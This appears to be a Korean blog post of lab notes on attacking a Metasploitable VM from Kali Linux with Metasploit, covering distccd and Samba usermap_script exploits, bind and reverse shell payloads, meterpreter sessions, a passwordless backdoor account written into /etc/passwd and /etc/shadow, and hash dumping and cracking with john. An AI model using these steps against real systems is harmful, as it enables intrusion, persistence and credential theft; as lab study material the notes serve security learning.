Kali Linux

유닉스/리눅스 기반의 운영체제 침투

Pulseeee 2023. 2. 9. 10:57
반응형

유닉스/리눅스 기반의 운영체제 침투

Kali Linux                                       ->                                      Metasploitable

ms02-058                     Microsoft 2002-058
cve-2xxx-xxxx              Global Application 2xxx-xxxx

취약점이 발견된 것을 cve-2xxx-xxxx 형태로  (cve_2022_33891) 작성된다.

osvdb                           OpenSource

mfconsole에서 search 명령어를 이용하여 apache의 취약점을 확인할 수 있다.
search ip로 해당 ip를 사용하는 pc의 스캔 결과를 알수 있다.

 

구분 운영체제 종류 IP 비고
공격 대상자 메타스플로잇터블 2.8 192.168.0.23 게스트 OS
공격자 칼리 리눅스 2022.4 1925.168.0.29 게스트 OS

포트가 닫혀 있는 것을 ICMP가 알려준다.
개방되어있는 distccd에대해 search명령어로 취약점을 확인한다.

exploit은 취약점을 뚫고 들어가는것이고 / payload는 뚫고 들어가서 악성코드를 심는 것이다.

set payload cmd/unix/bind_ruby (방화벽이 열려있을때 사용)

set payload cmd/unix/reverse_ruby (방화벽이 닫혀있을때 사용, 공격 대상자가 공격자에게 접근을 유도한다.)

공격 대상의 shell환경에 침투 하였다.
제한적이지만 공격대상자의 pc를 조작할 수 있다.
공격 대상자 PC에서 netstat명령어로 사용중인 port를 확인하여 의심가는 port로 침해가 되었는지 확인할 수 있다.

meterpreter

ctlr + z 로 전에 shell 침투를 백그라운드로 보내고 meterpreter환경을 실행한다.

shell_to_meterpreter는 일종의 악종코드인데 사전에 준비된 세션에 적용 시킬 수 있다.

session2가 만들어 졌다.
sessions 2를 입력하여 meterpreter 사용 한다.
?를 입력하여 사용법을 알 수 있다.

 l이 붙은 명령어는 local컴퓨터를 조작하는 명령어이다.

Kali(Local)          Metaploitable(Remote)

                    ls    ->

               <- lls

              <- lcd

                   cd   ->

arp (Address Resolution Protocol) : 주소 해결 프로토콜

IP Address  Mac Address

session을 나올땐 exit를 하고 깨끗한 환경에서 다시 사용하기 위해 back과 exit -y로 msfconsole을 종료해준다.

 

 

usermap_script.rb 모듈을 이용한 침투

해당 모듈은 osvdb-34700/cve-2007-1547 취약점에 기반한 침투 모듈이다. 삼바에서 발생한 구조적 속성을 악용해 공격자가 원격에서 악성 코드를 실행시킬 수 있다. 해당 취약점은 삼바 3.0.20 버전에서 3.0.25rc3 버전까지 실행이 가능하다고 알려졌다.

usermap_script.rb 모듈 정보

정방향(방화벽이 열려있을때)

msf6 > use exploit/취약점 모듈

msf6 exploit(취약점모듈) > use payload 악성코드/bind_ruby or bind_tcp

msf6 exploit(취약점모듈) > set rhost 공격대상자ip

msf6 exploit(취약점모듈) > exploit

 

역방향(방화벽이 닫혀있을때)

msf6 > use exploit/취약점 모듈

msf6 exploit(취약점 모듈) > use payload 악성코드/reverse_ruby or reverse_tcp

msf6 exploit(취약점 모듈) > set rhost 공격대상자ip

msf6 exploit(취약점 모듈) > set lhost 공격자ip

msf6 exploit(취약점 모듈) > set lport 공격자port번호

msf6 exploit(취약점모듈) > exploit

root계정을 탈취하여 침투에 성공 하였다.
echo를 이용하여 cat > /etc/passwd에 입력해주면 계정이 생성된다.
공격자 pc에서도 echo를 실행했을때 적용이 되는 것을 확인할 수 있다. 침투에 사용할 hack계정을 passwd파일에 입력하여 생성하고 hack의 비밀번호를 ::로 설정하여 shadow파일에 입력한다.
공격자 pc를 하나더 실행하여 텔넷으로 공격대상pc를 텔넷으로 접근하면 echo로 생성한 hack 계정으로 비밀번호 없이 침투가 가능하고 root계정을 탈취하였다.

 

 

 

 

 

미터프리터 방식

session1 백그라운드로 옮기고 미터프리터를 실행하여 session1을 이용하여 session2 미터프리터 환경을 획득한다.
비밀번호를 파일로 저장해 준다.
공격대상에서 사용한 유저의 명령어기록을 파일형태로 저장해 준다.
.msf4/loot 디렉토리에 저장된다.

 

john 명령어를 이용하여 해쉬값을 풀어서 보여준다.

 

반응형